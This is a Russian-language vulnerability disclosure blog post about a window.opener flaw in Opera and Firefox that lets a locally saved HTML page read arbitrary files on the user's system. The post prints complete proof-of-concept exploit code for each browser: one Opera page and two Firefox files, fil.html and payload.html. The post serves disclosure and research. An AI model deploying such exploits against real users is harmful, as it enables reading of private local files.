Продолжив копать и обыгрывать проблему безопасности с window.opener, наткнулся на довольно забавную уязвимость в браузерах FireFox и Opera.
Уязвимость позволяет странице, сохраненной на вашем компьютере, читать произвольные файлы на вашей системе.
Уязвимость существует из-за недостаточного контроля за сменой window.opener.
Атакующий может встроить в страницу произвольный HTML код и при запуске данной страницы на локальной системе, появляется возможность прочитать содержимое почти любого файла (Разумеется, при наличии привилегий).
Opera
Т.к уязвимость довольно простая, то сразу публикую exploit. С проблемой window.opener, можно познакомиться тут.
<html>
<body>
<script>
if((navigator.userAgent.indexOf("Opera") != -1) && (window.location.protocol == "file:")) {
//запуск кода только в браузере Opera и при вызове страницы через протокол file
var file=prompt("Example: C:/file.txt "); //Какой файл хотим прочитать?
if(file){
console.log("File: "+file);
document.write("<center>"+
"<a href='data:text/html,"+ //создадим ссылку, использующую протокол data
"<script>"+
"if(window.opener){"+ //ТОЛЬКО если window.opener инициализирован
"window.opener.location.replace(%22file://"+window.location.hostname+"/"+file+"%22);"+ //меняем адрес родительской вкладки на путь к файлу
"};%3C%2Fscript%3E"+
"%3Cscript%3E"+ // Используя второй тег script, обойдем систему безопасности
"alert(window.opener.document.body.innerHTML);"+ //Вывод содержимого файла :)
"%3C%2Fscript%3E"+
"' target='_blank'>"+ //target= _blank
"CLICK-CLICK</a>");
}}
</script>
</body>
</html>
Видео, демонстрирующее данную уязвимость:
FireFox
Уязвимость в этом браузере аналогичная, но тут ее сложнее эксплуатировать.
Для полного доступа к данным, код нужно поместить в корень диска.
На nix’ах не тестировал и следовательно, о поведении кода в nix’ах, говорить не могу.
Тут код состоит из двух файлов, для обхода ограничений в браузере.
Файл первый (Fir.html):
<html>
<body>
<script>
if((navigator.userAgent.indexOf("Firefox") != -1) && (window.location.protocol == "file:")){
//запуск кода только в браузере Firefox и при вызове страницы через протокол file
document.write("<center>"+
"<a href='./payload.html'"+ //вызываем payload.html
" target='_blank'>CLICK-CLICK</a>"); //target=_blank
};
</script>
</body>
</html>
Файл второй (payload.html):
<html>
<body>
<script>
var file=prompt('Example: C:/file.txt');
console.log(file);
window.opener.location="file://localhost/"+file;
</script>
<script>
var al=function(){alert(window.opener.document.body.innerHTML)}; //Выводим файл
while(!window.opener.document.body){ //window.opener.document.body=null
alert('Click OK'); //задержка
al(); //Вызов функции
};
</script>
</body>
</html>
Видео:
Злоключение
То что exploit может сработать только находясь на целевой системе, не делает данную уязвимость критической.
Однако тех, кто любит сохранять странички на своем компьютере, я прошу внимательней выбирать ресурсы :)
Автор: fil9